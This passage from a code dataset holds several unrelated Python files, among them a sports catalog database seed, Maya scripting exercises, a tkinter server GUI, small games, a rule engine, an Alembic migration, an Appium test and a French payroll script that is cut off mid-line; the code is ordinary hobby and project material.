the width of one's \"\n \"foot longways, with the ability to glide on snow. Snowboards are \"\n \"differentiated from monoskis by the stance of the user.\",\n category=category1)\nsession.add(categoryItem1)\nsession.commit()\n\ncategoryItem2 = CategoryItem(\n user_id=1,\n name=\"Goggles\",\n description=\"Bindings are separate components from the snowboard deck \"\n \"and are very important parts of the total snowboard interface. \",\n category=category1)\nsession.add(categoryItem2)\nsession.commit()\n\ncategoryItem3 = CategoryItem(\n user_id=1,\n name=\"Bindings\",\n description=\"Ski goggles and snowboard goggles can help protect your \"\n \"eyes from these on-mountain hazards, making your outing a lot more \"\n \"enjoyable.\",\n category=category1)\nsession.add(categoryItem3)\nsession.commit()\n\ncategory2 = Category(user_id=1, name=\"Soccer\")\nsession.add(category2)\nsession.commit()\n\ncategoryItem1 = CategoryItem(\n user_id=1,\n name=\"Jersey\",\n description=\"A jersey as used in sport is a shirt worn by a member of a \"\n \"team, typically depicting the athlete's name and team number as well as \"\n \"the logotype of the team or corporate sponsor.\",\n category=category2)\nsession.add(categoryItem1)\nsession.commit()\n\ncategoryItem2 = CategoryItem(\n user_id=1,\n name=\"Shin guard\",\n description=\"A shin guard or shin pad is a piece of equipment worn on \"\n \"the front of a player's shin to protect them from injury.\",\n category=category2)\nsession.add(categoryItem2)\nsession.commit()\n\ncategoryItem3 = CategoryItem(\n user_id=1,\n name=\"Football boot\",\n description=\"Football boots, called cleats or soccer shoes in North \"\n \"America, are an item of footwear worn when playing football.\",\n category=category2)\nsession.add(categoryItem3)\nsession.commit()\n\ncategory3 = Category(user_id=1, name=\"Hockey\")\nsession.add(category3)\nsession.commit()\n\ncategoryItem1 = CategoryItem(\n user_id=1,\n name=\"Stick\",\n description=\"A hockey stick is a piece of equipment used by the players \"\n \"in most forms of hockey to move the ball or puck.\",\n category=category3)\nsession.add(categoryItem1)\nsession.commit()\n\ncategoryItem2 = CategoryItem(\n user_id=1,\n name=\"Helmet\",\n description=\"A helmet with strap, and optionally a face cage or visor, \"\n \"is required of all ice hockey players.\",\n category=category3)\nsession.add(categoryItem2)\nsession.commit()\n\ncategoryItem3 = CategoryItem(\n user_id=1,\n name=\"Shoulder pads\",\n description=\"Hockey shoulder pads are typically composed of a passed \"\n \"vest with front and back panels, with velcro straps for closure, and \"\n \"soft or hard-shelled shoulder caps with optional attached upper \"\n \"arm pads.\",\n category=category3)\nsession.add(categoryItem3)\nsession.commit()\n\nprint(\"added category items!\")\n","repo_name":"azhurb/item-catalog","sub_path":"lotsofitems.py","file_name":"lotsofitems.py","file_ext":"py","file_size_in_byte":3660,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"17118053668","text":"sum = 0\nfor i in range(11):\n sum += i\nprint(sum)\n\n\n\n# 리스트의 내용을 출력하기 ===================================\nlist = [\"object_1\", \"object_2\", \"object_3\"]\nfor x in list:\n print(x)\n\n# for문을 사용해서 평균 구하기\ninput_list = [1, 2, 3, 4]\navg = 0.0\nfor val in input_list:\n avg = avg + val\n print(val)\navg /= len(input_list)\nprint(\"avg : \", avg)\n\n\n\n# 튜플의 내용을 출력하기 =====================================\nt = (22, 11, 33, 44, 66)\nfor x in t :\n print(x)\n\n\n\n# 딕셔너리의 내용을 출력하기 ==================================\ndic = {\"key_1\" : \"a\", \"key_2\" : \"b\", \"key_3\" : \"c\"}\nfor x in dic:\n print(x)\n print(dic[x])\n\n\n\n# 문자열 출력 방법 ==========================================\nfor x in \"abcdefg\":\n print(x)\n\n\n\n# range를 써서 값을 발생시키기 ===============================\nfor a in range(4):\n print(a)\n\nfor a in range(1, 9):\n print(a)\n\nfor a in range(1, 10, 2): #1에서 9까지 2씩 건너뛰면서 값을 발생시킨다\n print(a)\n\n\n\n# 응용)) range를 써서 오브젝트의 이름 바꾸기\nimport maya.cmds as cmds\nsel_ = cmds.ls(sl = 1) # 선택한 오브젝트들이 sel_이라는 변수에 담겨있다.\nfor serial in range(len(sel_)): # 선택한 오브젝트들의 개수를 알아내고 그만큼 반복한다.\n cmds.rename(sel_[serial], \"range_#\") # 오브젝트의 이름을 'range_숫자'로 바꾼다.\n\n\n\n# 응용)) for문을 써서 많은 오브젝트 만들기\n# 마야에서 for문을 써서 9개의 큐브를 만들어보자.\n# 9개의 큐브가 만들어지고, 만들어진 순서로 이름 뒤에 숫자가 붙는다.\nimport maya.cmds as cmds\nfor i in range(9):\n cmds.polyCube()\n\n# 만약 높이가 5, 넓이가 3, 깊이가 3인 오브젝트를 9개 만들고, sds_cube라는 이름과 일련번호를 붙이려면 다음과 같이 실행한다.\nimport maya.cdms as cmds\nfor i in range(9):\n cmds.polyCube(h = 5, w = 3, d = 1, n = \"sds_cube#\")\n\n# 9개의 큐브를 만들고 3줄로 정렬하기 위해서는 for를 2번 사용해야 한다(이중 for문)\nimport maya.cmds as cmds\nfor i in range(3):\n for j in range(3):\n cmds.polyCube()\n cmds.move(i * 2, 1 * 2, j * 2)\n\n\n\n# 응용)) for문을 써서 오브젝트의 이름 정리하기\nimport maya.cmds as cmds\nsel_ = cmds.ls(sl = 1)\nfor serial in sel_:\n cmds.rename(serial, \"object_#\")","repo_name":"jjudykim/MayaPractice","sub_path":"maya_script_practice/for.py","file_name":"for.py","file_ext":"py","file_size_in_byte":2429,"program_lang":"python","lang":"ko","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"32577785020","text":"\"\"\"\nAuthor: Kristian Saure Knotten\nStudent ID: 8284\nE-mail: ksknotten@outlook.com\n\"\"\"\n\nfrom tkinter import *\nimport threading\nimport Server\n\n\nclass GUI(Tk):\n\n def __init__(self, ip):\n Tk.__init__(self)\n self.geometry(\"190x210\")\n self.title(\"PC Control\")\n # self.resizable(width=False, height=False)\n # Lag ein protokoll for vist brukaren kryssar ut vindauget\n self.protocol(\"WM_DELETE_WINDOW\", self.close)\n\n self.ip = \"Server IP: \" + ip\n\n self.port_frame = Frame(self).place(anchor=CENTER)\n\n self.ip_label = Label(self, text=self.ip).grid(row=0, pady=10, columnspan=2)\n\n self.port_label = Label(self, text=\"Port: \").grid(row=1, column=0, pady=10, padx=5)\n self.port_entry = Entry(self, width=5)\n self.port_entry.grid(row=1, column=1, pady=10, ipadx=1)\n self.port_entry.insert(END, \"11111\")\n\n self.info_message = StringVar()\n self.message_label = Label(self, textvariable=self.info_message, width=25).grid(row=2, columnspan=2, pady=10)\n\n self.start_btn = Button(self, text=\"Start\", command=self.start_server)\n self.start_btn.grid(row=3, column=0, pady=10)\n self.stop_btn = Button(self, text=\"Stop\", command=self.stop_server).grid(\n row=3, column=1, pady=10)\n\n self.server_message = StringVar()\n self.message_label = Label(self, textvariable=self.server_message, width=25).grid(row=4, columnspan=2, pady=10)\n\n # Gi serveren ein referanse til GUI\n Server.gui = self\n\n def start_server(self):\n print(self.port_entry.get())\n try:\n if self.port_entry.get() and 10000 <= int(self.port_entry.get()) <= 60000:\n self.server_message.set(\"Waiting for client\")\n threading.Thread(target=self.connect).start()\n else:\n self.info_message.set('Use a port between 10000 and 60000')\n except ValueError:\n self.info_message.set(\"Please use only numbers\")\n\n def connect(self):\n self.start_btn.config(state=\"disabled\")\n message = Server.set_info(int(self.port_entry.get()))\n if message:\n self.server_message.set('Connected to ' + message[0])\n Server.receive()\n else:\n self.info_message.set('Not able to connect')\n\n def stop_server(self):\n try:\n Server.close_connection()\n except AttributeError:\n print('Start first')\n return\n\n self.start_btn.config(state=\"normal\")\n self.server_message.set('Stopped listening')\n\n def close(self):\n self.destroy()\n\n try:\n self.stop_server()\n except TclError:\n print(\"tclerror\")\n\n print(\"Closed\")\n quit()\n return\n\n\nGUI = GUI(\"0.0.0.0\")\nGUI.mainloop()\n","repo_name":"sKnotteN/Python-SP2","sub_path":"ServerGUI.py","file_name":"ServerGUI.py","file_ext":"py","file_size_in_byte":2823,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"4603450134","text":"#!python3\n\nimport character\nimport mechanics\nimport items\n\nplayer_name = input('Enter your name:\\n')\nplayer = character.Character(player_name)\nplayer = character.gen(player)\nplayer.add_stats({'strength': 10})\nplayer.add_level()\nplayer.add_level()\nprint(player)\n\nplayer.equip(items.sword_of_crushing)\nprint(player.equipment['weapon'])\n\nprint('Break down the door!')\ninput('ready?')\n\nif mechanics.ability_check(15, 'strength', player, 'history'):\n print('The door explodes.')\nelse:\n print('You broke your foot. Good job asshole.')\n","repo_name":"rolovis/not-an-rpg-ripoff","sub_path":"game.py","file_name":"game.py","file_ext":"py","file_size_in_byte":535,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"71712084083","text":"import json\nfrom typing import Optional\n\nfrom grapple.graph import Node, Relation\nfrom grapple.tentative.engine.descriptors import Direction\n\n\nclass Path(object):\n def __init__(self, node: 'Node'):\n self.start = node\n self.chain = []\n\n def append(self, relation: 'Relation', node: 'Node'):\n self.chain.append((relation, node))\n\n\nclass Payload(object):\n def __init__(self, node: 'Node'):\n self._current = node\n self._path = Path(node)\n self._table = {}\n self.pattern = [self._path]\n\n @property\n def current(self) -> 'Entity':\n return self._current\n\n def append(self, entity: 'Entity'):\n if type(self._current) is Node:\n if type(entity) is Node:\n # noinspection PyTypeChecker\n self._path = Path(entity)\n\n else:\n if type(entity) is 'Relation':\n raise ValueError('This entity is invalid')\n\n self._current = entity\n\n def get(self, param: str) -> Optional['Entity']:\n return self._table.get(param)\n\n\nclass Condition(object):\n @property\n def signature(self) -> str:\n raise NotImplementedError\n\n @classmethod\n def is_met_by(cls, payload: 'Payload' = None, other: 'Payload' = None) -> bool:\n raise NotImplementedError\n\n\nclass Tautology(Condition):\n @property\n def signature(self) -> str:\n return 'TRUE'\n\n @classmethod\n def is_met_by(cls, payload: 'Payload' = None, other: 'Payload' = None) -> bool:\n return True\n\n\nclass IsNone(Condition):\n @property\n def signature(self) -> str:\n return 'is_none()'\n\n @classmethod\n def is_met_by(cls, payload: 'Payload' = None, other: 'Payload' = None) -> bool:\n return bool(payload is None)\n\n\nclass IsNode(Condition):\n @property\n def signature(self) -> str:\n return '()'\n\n def is_met_by(self, payload: Payload = None, other: Payload = None) -> bool:\n return payload and type(payload.current) is Node\n\n\nclass HasLabel(Condition):\n def __init__(self, label: str):\n self.label = label\n\n @property\n def signature(self) -> str:\n return '(:%s)' % self.label\n\n def is_met_by(self, payload: 'Payload' = None, other: 'Payload' = None) -> bool:\n return payload and type(payload.current) is Node and self.label in payload.current.labels\n\n\nclass IsRelation(Condition):\n @property\n def signature(self) -> str:\n return '[]'\n\n def is_met_by(self, payload: Payload = None, other: Payload = None) -> bool:\n return payload and type(payload.current) is Relation\n\n\nclass HasType(Condition):\n def __init__(self, type_: str):\n self.type_ = type_\n\n @property\n def signature(self) -> str:\n return '[:%s]' % self.type_\n\n def is_met_by(self, payload: 'Payload' = None, other: 'Payload' = None) -> bool:\n return payload and type(payload.current) is Relation and self.type_ in payload.current.types\n\n\nclass HasKey(Condition):\n def __init__(self, key: str):\n self.key = key\n\n @property\n def signature(self) -> str:\n return '{%s}' % self.key\n\n def is_met_by(self, payload: 'Payload' = None, other: 'Payload' = None) -> bool:\n return payload and payload.current.has_property(self.key)\n\n\nclass HasProperty(Condition):\n def __init__(self, key: str, value: 'Value'):\n self.key = key\n self.value = value\n\n @property\n def signature(self) -> str:\n return '{%s: %s}' % (self.key, json.dumps(self.value))\n\n def is_met_by(self, payload: 'Payload' = None, other: 'Payload' = None) -> bool:\n return payload and payload.current.get_property(self.key) == self.value\n\n\nclass AreEqual(Condition):\n @property\n def signature(self) -> str:\n return '=='\n\n def is_met_by(self, payload: 'Payload' = None, other: 'Payload' = None) -> bool:\n return payload and other and payload.current == other.current\n\n\nclass HasTail(Condition):\n @property\n def signature(self) -> str:\n return '()-->'\n\n @classmethod\n def is_met_by(cls, payload: 'Payload' = None, other: 'Payload' = None) -> bool:\n if not payload or not other or type(payload.current) is not Relation or type(other.current) is not Node:\n return False\n\n return payload.current.tail == other.current\n\n\nclass HasHead(Condition):\n @property\n def signature(self) -> str:\n return '-->()'\n\n @classmethod\n def is_met_by(cls, payload: 'Payload' = None, other: 'Payload' = None) -> bool:\n if not payload or not other or type(payload.current) is not Relation or type(other.current) is not Node:\n return False\n\n return payload.current.head == other.current\n\n\nclass Agenda(object):\n def __init__(self):\n self._index = {}\n\n def add(self, activation: 'Activation'):\n self._index.setdefault(activation.salience, set()).add(activation)\n\n def is_empty(self) -> bool:\n return not self._index\n\n def pop(self) -> Optional['Activation']:\n if not self._index:\n return None\n\n salience = max(self._index.keys())\n activation = self._index[salience].pop()\n if not self._index[salience]:\n self._index.pop(salience)\n return activation\n\n\nclass Activation(object):\n def __init__(self, something, action: 'Action'):\n self.something = something\n self.action = action\n self.salience = 5\n\n def execute(self):\n self.action.execute(self.something)\n\n\nclass Action(object):\n def activate_with(self, payload: Payload) -> Activation:\n return Activation(payload, self)\n\n def execute(self, payload: Payload):\n raise NotImplementedError\n\n\nclass Return(Action):\n def __init__(self, item: 'Returnable'):\n self.item = item\n\n def execute(self, payload: Payload):\n content = None\n if self.item.function == '*':\n pass\n elif self.item.function == 'coalesce':\n pass\n elif self.item.function == 'head':\n pass\n elif self.item.function == 'id':\n pass\n elif self.item.function == 'keys':\n pass\n elif self.item.function == 'labels':\n entity = payload.get(self.item.parameter)\n if entity and type(entity) is Node:\n content = '[%s]' % ', '.join(entity.labels)\n else:\n content = None\n elif self.item.function == 'length':\n pass\n elif self.item.function == 'nodes':\n pass\n elif self.item.function == 'relations':\n pass\n elif self.item.function == 'properties':\n pass\n elif self.item.function == 'tail':\n pass\n elif self.item.function == 'types':\n pass\n elif self.item.entity:\n if self.item.field:\n pass\n else:\n pass\n else:\n content = self.item.value\n\n if self.item.synonym:\n print(self.item.synonym, '=', content)\n else:\n print(content)\n\n\nclass Create(Action):\n def __init__(self, graph: 'Graph', pattern: 'Pattern'):\n self.graph = graph\n self.pattern = pattern\n\n def execute(self, payload: Payload):\n node = self._create_node(self.graph, self.pattern.node)\n for step in self.pattern.chain:\n temp = self._create_node(self.graph, step.node)\n if step.relation.direction == Direction.INCOMING:\n self._create_relation(temp, node, step.relation)\n else:\n self._create_relation(node, temp, step.relation)\n node = temp\n\n @staticmethod\n def _create_node(graph, node):\n result = graph.create_node()\n for label in node.labels:\n result.add_labels(label)\n for key in node.properties:\n value = node.properties[key]\n result.set_property(key, value)\n\n return result\n\n @staticmethod\n def _create_relation(tail, head, relation):\n result = tail.create_relation_to(head)\n for type_ in relation.types:\n result.add_types(type_)\n for key in relation.properties:\n value = relation.properties[key]\n result.set_property(key, value)\n\n return result\n\n\nclass Root(object):\n def __init__(self):\n self.children = set()\n self.memory = set()\n\n def notify(self, payload: 'Payload' = None, sender=None):\n if payload:\n self.memory.add(payload.current)\n\n for child in self.children:\n child.notify(payload, self)\n\n\nclass Alfa(object):\n def __init__(self, condition: Condition, parent):\n self.children = set()\n self.condition = condition\n self.memory = set()\n self.parent = parent\n\n parent.children.add(self)\n\n def notify(self, payload: 'Payload', sender=None):\n if self.condition and self.condition.is_met_by(payload):\n self.memory.add(payload)\n\n for child in self.children:\n child.notify(payload, self)\n\n\nclass Beta(object):\n def __init__(self, condition: Condition, parent_sx, parent_dx):\n self.children = set()\n self.condition = condition\n self.memory = set()\n self.parent_sx = parent_sx\n self.parent_dx = parent_dx\n\n parent_sx.children.add(self)\n parent_dx.children.add(self)\n\n def notify(self, payload: 'Payload', sender=None):\n if sender == self.parent_sx:\n for other in self.parent_dx.memory:\n if self.condition and self.condition.is_met_by(payload, other):\n if other not in payload:\n temp = payload + other\n else:\n temp = payload\n self.memory.add(temp)\n\n for child in self.children:\n child.notify(temp, self)\n\n elif sender == self.parent_dx:\n for other in self.parent_sx.memory:\n if self.condition and self.condition.is_met_by(other, payload):\n if payload not in other:\n temp = other + payload\n else:\n temp = other\n self.memory.add(temp)\n\n for child in self.children:\n child.notify(temp, self)\n\n else:\n raise ValueError('Unexpected sender: <%s>' % sender)\n\n\nclass Leaf(object):\n def __init__(self, action: Action, agenda: Agenda, parent):\n self.action = action\n self.agenda = agenda\n self.memory = set()\n self.parent = parent\n\n parent.children.add(self)\n\n def notify(self, payload: 'Payload', source=None):\n self.memory.add(payload)\n\n activation = self.action.activate_with(payload)\n self.agenda.add(activation)\n","repo_name":"stefano-bragaglia/Grapple","sub_path":"src/main/python/grapple/rete.py","file_name":"rete.py","file_ext":"py","file_size_in_byte":10914,"program_lang":"python","lang":"en","doc_type":"code","stars":2,"dataset":"github-code","pt":"75"} +{"seq_id":"69993319283","text":"'''\nCreated on Feb 18, 2019\n\n@author: Adrian\n'''\nfrom Square import Square\nfrom random import choice\nimport pickle\n\n\nclass Game():\n '''\n \n '''\n\n\n def __init__(self, board):\n '''\n Constructor for Game class\n '''\n self._board = board\n self._placements = 0\n \n \n def round(self, row, column):\n '''\n Plays a round of the game. \n In: row, column - strings\n Exception: ValueError - if indexes are not valid\n '''\n \n self._validateSquare(row, column)\n square = Square(int(row), int(column))\n \n if self._placements < 4:\n self._placementRound(square)\n \n else:\n self._movementRound(square)\n \n self._placements += 1\n \n \n def _placementRound(self, square):\n '''\n Plays a round of the placement phase.\n In: square - instance of Square class\n Exception: BoardException, GameException\n '''\n \n self._board.store(square, \"X\", True)\n \n if self._board.isWon(square):\n raise GameException(\"Game over! User wins.\")\n \n emptySquares = self._board.getSquares()\n \n for available in emptySquares:\n self._board.store(available, \"0\")\n \n if self._board.isWon(available):\n raise GameException(\"Game over! Computer wins.\")\n self._board.store(available, \" \")\n \n done = False\n \n for available in emptySquares:\n self._board.store(available, \"X\")\n \n if self._board.isWon(available):\n self._board.store(available, \"0\")\n done = True\n break\n else:\n self._board.store(available, \" \") \n \n if not done:\n self._board.store(choice(emptySquares), \"0\")\n \n \n def _movementRound(self, square):\n '''\n Plays a round of the movement phase.\n In: square - instance of Square class\n Exception: BoardException, GameException\n '''\n \n if not self._board.checkSymbol(square, \"X\"):\n raise ValueError(\"You can only move an X.\")\n \n emptySquare = self._board.getSquares()[0]\n \n if not self._adjacent(square, emptySquare):\n raise ValueError(\"Can only move an X which is next to the empty square.\")\n \n self._board.store(emptySquare, \"X\")\n self._board.store(square, \" \")\n \n if self._board.isWon(emptySquare):\n raise GameException(\"Game over! User wins.\")\n \n zeroSquares = self._board.getSquares(\"0\")\n okSquares = [zeroSquare for zeroSquare in zeroSquares if self._adjacent(zeroSquare, square)]\n \n self._board.store(square, \"0\")\n \n for current in okSquares:\n \n self._board.store(current, \" \")\n \n if self._board.isWon(square):\n raise GameException(\"Game over! Computer wins.\")\n \n self._board.store(current, \"0\")\n \n self._board.store(choice(okSquares), \" \")\n \n \n def _adjacent(self, square1, square2):\n '''\n Checks if two squares are adjacent.\n '''\n if (square1.row == square2.row and square1.column == square2.column) or \\\n abs(square1.row - square2.row) > 1 or abs(square1.column - square2.column) > 1:\n return False\n \n return True\n \n \n def _validateSquare(self, row, column):\n '''\n Validates the indexes of a square of the board.\n In: row, column - strings\n Out: row, column - integers\n Exception: ValueError, if indexes are not valid\n '''\n \n try:\n row = int(row)\n column = int(column)\n except ValueError:\n raise ValueError(\"Indexes of the square must be integers.\")\n \n if row not in [0,1,2] or column not in [0,1,2]:\n raise ValueError(\"Indexes of the square must be in range [0,2].\")\n \n \n def save(self):\n \n with open(\"board.pickle\", \"wb\") as file:\n pickle.dump(self._board, file)\n \n with open(\"game.pickle\", \"wb\") as file:\n pickle.dump(self, file)\n \n \n @property\n def message(self):\n if self._placements < 4: \n return \"Placement phase...\"\n else:\n return \"Movement phase...\"\n \n \n @property\n def board(self):\n return str(self._board)\n \n \nclass GameException(Exception):\n pass\n","repo_name":"AdrianPascan/PythonGames","sub_path":"Achi/Achi/Game.py","file_name":"Game.py","file_ext":"py","file_size_in_byte":4744,"program_lang":"python","lang":"en","doc_type":"code","stars":1,"dataset":"github-code","pt":"75"} +{"seq_id":"10019945363","text":"\"\"\"changes in pitches\n\nRevision ID: 2e9f41c8acc9\nRevises: 62eb7b69cef5\nCreate Date: 2019-10-24 09:34:13.318873\n\n\"\"\"\nfrom alembic import op\nimport sqlalchemy as sa\nfrom sqlalchemy.dialects import postgresql\n\n# revision identifiers, used by Alembic.\nrevision = '2e9f41c8acc9'\ndown_revision = '62eb7b69cef5'\nbranch_labels = None\ndepends_on = None\n\n\ndef upgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.drop_index('ix_comments_comment_post', table_name='comments')\n op.drop_table('comments')\n op.drop_index('ix_category_name', table_name='category')\n op.drop_table('category')\n op.add_column('pitches', sa.Column('pitch', sa.String(length=300), nullable=True))\n op.add_column('pitches', sa.Column('title', sa.String(length=255), nullable=True))\n op.create_index(op.f('ix_pitches_pitch'), 'pitches', ['pitch'], unique=False)\n op.create_index(op.f('ix_pitches_title'), 'pitches', ['title'], unique=False)\n op.drop_index('ix_pitches_description', table_name='pitches')\n op.drop_index('ix_pitches_name', table_name='pitches')\n op.drop_constraint('pitches_comments_id_fkey', 'pitches', type_='foreignkey')\n op.drop_constraint('pitches_category_fkey', 'pitches', type_='foreignkey')\n op.drop_column('pitches', 'category')\n op.drop_column('pitches', 'description')\n op.drop_column('pitches', 'comments_id')\n op.drop_column('pitches', 'name')\n # ### end Alembic commands ###\n\n\ndef downgrade():\n # ### commands auto generated by Alembic - please adjust! ###\n op.add_column('pitches', sa.Column('name', sa.VARCHAR(length=100), autoincrement=False, nullable=True))\n op.add_column('pitches', sa.Column('comments_id', sa.INTEGER(), autoincrement=False, nullable=True))\n op.add_column('pitches', sa.Column('description', sa.VARCHAR(length=500), autoincrement=False, nullable=True))\n op.add_column('pitches', sa.Column('category', sa.INTEGER(), autoincrement=False, nullable=True))\n op.create_foreign_key('pitches_category_fkey', 'pitches', 'category', ['category'], ['id'])\n op.create_foreign_key('pitches_comments_id_fkey', 'pitches', 'comments', ['comments_id'], ['id'])\n op.create_index('ix_pitches_name', 'pitches', ['name'], unique=False)\n op.create_index('ix_pitches_description', 'pitches', ['description'], unique=False)\n op.drop_index(op.f('ix_pitches_title'), table_name='pitches')\n op.drop_index(op.f('ix_pitches_pitch'), table_name='pitches')\n op.drop_column('pitches', 'title')\n op.drop_column('pitches', 'pitch')\n op.create_table('category',\n sa.Column('id', sa.INTEGER(), server_default=sa.text(\"nextval('category_id_seq'::regclass)\"), autoincrement=True, nullable=False),\n sa.Column('name', sa.VARCHAR(length=255), autoincrement=False, nullable=True),\n sa.PrimaryKeyConstraint('id', name='category_pkey'),\n postgresql_ignore_search_path=False\n )\n op.create_index('ix_category_name', 'category', ['name'], unique=False)\n op.create_table('comments',\n sa.Column('id', sa.INTEGER(), autoincrement=True, nullable=False),\n sa.Column('comment_post', sa.VARCHAR(length=255), autoincrement=False, nullable=True),\n sa.Column('time', postgresql.TIMESTAMP(), autoincrement=False, nullable=True),\n sa.Column('pitch_id', sa.INTEGER(), autoincrement=False, nullable=True),\n sa.Column('user_id', sa.INTEGER(), autoincrement=False, nullable=True),\n sa.ForeignKeyConstraint(['pitch_id'], ['pitches.id'], name='comments_pitch_id_fkey'),\n sa.ForeignKeyConstraint(['user_id'], ['users.id'], name='comments_user_id_fkey'),\n sa.PrimaryKeyConstraint('id', name='comments_pkey')\n )\n op.create_index('ix_comments_comment_post', 'comments', ['comment_post'], unique=False)\n # ### end Alembic commands ###\n","repo_name":"Tyra-hans/1minpitch","sub_path":"migrations/versions/2e9f41c8acc9_changes_in_pitches.py","file_name":"2e9f41c8acc9_changes_in_pitches.py","file_ext":"py","file_size_in_byte":3755,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"73281244401","text":"from collections import deque\n# 입력\nn, m = map(int, input().split())\narr = [list(map(int, input().split())) for _ in range(n)]\n\n# 8가지 방향\ndx = [0, 0, 1, 1, 1, -1, -1, -1]\ndy = [-1, 1, -1, 0, 1, -1, 0, 1]\n\ndef bfs(x, y):\n q = deque()\n visited = [[False]*m for _ in range(n)]\n q.append((x, y, 0))\n visited[x][y] = True\n\n while q:\n x, y, cost = q.popleft()\n if arr[x][y] == 1:\n return cost\n for i in range(8):\n nx, ny = x + dx[i], y + dy[i]\n if 0 <= nx < n and 0 <= ny < m and not visited[nx][ny]:\n visited[nx][ny] = True\n q.append((nx, ny, cost+1))\n\nresult = 0\nfor i in range(n):\n for j in range(m):\n if arr[i][j] == 0:\n result = max(result, bfs(i, j))\n\nprint(result)","repo_name":"banggeunho/CodingTest","sub_path":"백준/2022/May/17086 아기상어.py","file_name":"17086 아기상어.py","file_ext":"py","file_size_in_byte":795,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"29293983507","text":"from appium import webdriver\nfrom appium.webdriver.common.mobileby import MobileBy\nfrom appium.webdriver.common.touch_action import TouchAction\n\ndesired_caps = {\n 'platformName': 'Android',\n 'deviceName': '127.0.0.1:5556',\n 'appPackage': 'tw.com.icash.a.icashpay.debuging',\n 'appActivity': 'tw.net.pic.m.wallet.activity.WelcomeActivity',\n 'noReset': True\n}\n\n# 连接 Appium Server\ndriver = webdriver.Remote('http://localhost:4723/wd/hub', desired_caps)\n\n# 获取并保存屏幕截图\ndriver.save_screenshot('C:\\\\python_test\\\\test_appium\\\\testcases\\\\screenshot.png')\n\n# 关闭连接\ndriver.quit()\n","repo_name":"Athena20230322/test_appium","sub_path":"testcases/screenshopt.py","file_name":"screenshopt.py","file_ext":"py","file_size_in_byte":611,"program_lang":"python","lang":"en","doc_type":"code","stars":0,"dataset":"github-code","pt":"75"} +{"seq_id":"71242526963","text":"from erp5.component.module.DateUtils import addToDate\n\nportal = context.getPortalObject()\n\n# record base and rate for each ctp for an Establishment\nfee_per_ctp_dict = {}\n# record bases for each contribution for each employee\nindividual_fee_dict = {}\n# list all ctps for which the firm contributes\ndone_ctp_set = set()\n# for bloc S21.G00.81, only type '266' for the moment\ntransport_individual_fee = {}\n# store the relative minimum salary for each employee for thecice contribution\ncice_relative_min_salary = {}\n# store the relative minimum salary for each employee for the \"Fillon\" reduction\nfillon_relative_min_salary = {}\nfillon_individual_reduction = {}\n# Social Entity corporate registration code\nSOCIAL_ENTITY = ''\n# establishment paysheets belong to\ncurrent_establishement_code = portal.accounting_module[paysheet_list[0]].getDestinationSectionValue().getCorporateRegistrationCode()[-5:]\n\n# Rate to apply to bases to calculate the final amount of fees\nstandard_rate_mapping = {'012D': 0.28, '027D': 0.00016, '100D': 0.1954, '100P': 0.1545,\n '260D': 0.08, '332P': 0.001, '343D': 0.024, '400D': 0., '430D': 0.018,\n '479D': 0.08, '671P': 1., '772D': 0.064, '863D': 0.2134,\n '863P': 0.1545, '937D': 0.0025}\n\n################################################################################\ndef printAsPositiveRate(number):\n \"Print a float as a percentage\"\n return abs(100.*float(number))\n\n\ndef getINSEECode(zip_code):\n insee_code_list = str(context.INSEECodeList).split('\\n')\n for code in insee_code_list:\n insee_record = code.split(';')\n if zip_code == insee_record[1]:\n return insee_record[0]\n return None\n\n\ndef updateIndividualFeeDict(paysheet_id, temp_individual_fee_dict):\n individual_fee_dict[paysheet_id] = {}\n individual_base_code_list =(('02', '100P'),\n ('02', '863P'),\n ('03', '100D'),\n ('03', '863D'),\n ('04', '260D'),\n ('04', '012D'),\n ('04', '0000'),\n ('07', '772D'),\n ('07', '343D'),\n ('10', '260D'), # \"Base brute fiscale\" is the same as \"base CSG\"\n ('10', '012D'),\n ('10', '0000'),\n ('12', '400D'),\n ('13', '479D'),\n ('14', '012D'))\n for base_code, ctp_code in individual_base_code_list:\n if ctp_code in temp_individual_fee_dict:\n individual_fee_dict[paysheet_id][base_code] = individual_fee_dict[paysheet_id].get(base_code, 0.) + temp_individual_fee_dict[ctp_code]\n # Every employee doesn't contribute to every fee\n else:\n pass\n\n################################################################################\n\n# Paysheets are grouped by establishment, so they have a common zip code\nZIP_CODE = portal.accounting_module[paysheet_list[0]] \\\n .getDestinationSectionValue().getDefaultAddressZipCode()\nINSEE_CODE = getINSEECode(ZIP_CODE)\n\n\n# Let's fill the dicts \"fee_per_ctp_dict\" and \"individual_fee_dict\"\nfor paysheet_id in paysheet_list:\n # For each paysheet, we only update once each type of \"fee_per_ctp_dict\"\n current_ctp_set = set()\n temp_individual_fee_dict = {}\n paysheet = portal.accounting_module[paysheet_id]\n paysheet_line_list = paysheet.PaySheetTransaction_getMovementList()\n employee = paysheet.getSourceSectionValue()\n establishment = paysheet.getDestinationSectionValue()\n enrollment_record = employee.Person_getPayrollEnrollmentRecord(establishment)\n\n # Trainees don't contribute to aggregated fees\n if enrollment_record.getContractType() == '29':\n individual_fee_dict[paysheet_id] = {'02': 0., '03': 0.}\n continue\n\n # First we need to store the legal minimun salary, proportionally to the worked time\n minimum_salary = float(paysheet.getRatioQuantityFromReference('salaire_minimum_mensuel'))\n worked_time = float(enrollment_record.getWorkingUnitQuantity())\n normal_working_time = float(enrollment_record.getStandardWorkingUnit())\n relative_minimum_salary = minimum_salary * (worked_time / normal_working_time)\n gross_salary = paysheet.PaySheetTransaction_getMovementTotalPriceFromCategory(base_contribution=\"base_contribution/base_amount/payroll/report/salary/gross\")\n\n for paysheet_line in paysheet_line_list:\n # we only want paysheet lines contributing to a social service related to DSN\n social_contribution_set = set(paysheet_line.getResourceValue().getUseValueList()) \\\n .intersection(set(portal.portal_categories.use.social_declaration.l10n.fr.ctp.getCategoryChildValueList()))\n if len(social_contribution_set) == 0:\n continue\n # A paysheet line only contributes to only 1 social service\n social_contribution = social_contribution_set.pop()\n # if a CTP appears more than once, we only want to sum once the base\n if social_contribution.getTitle() in current_ctp_set:\n continue\n ctp = 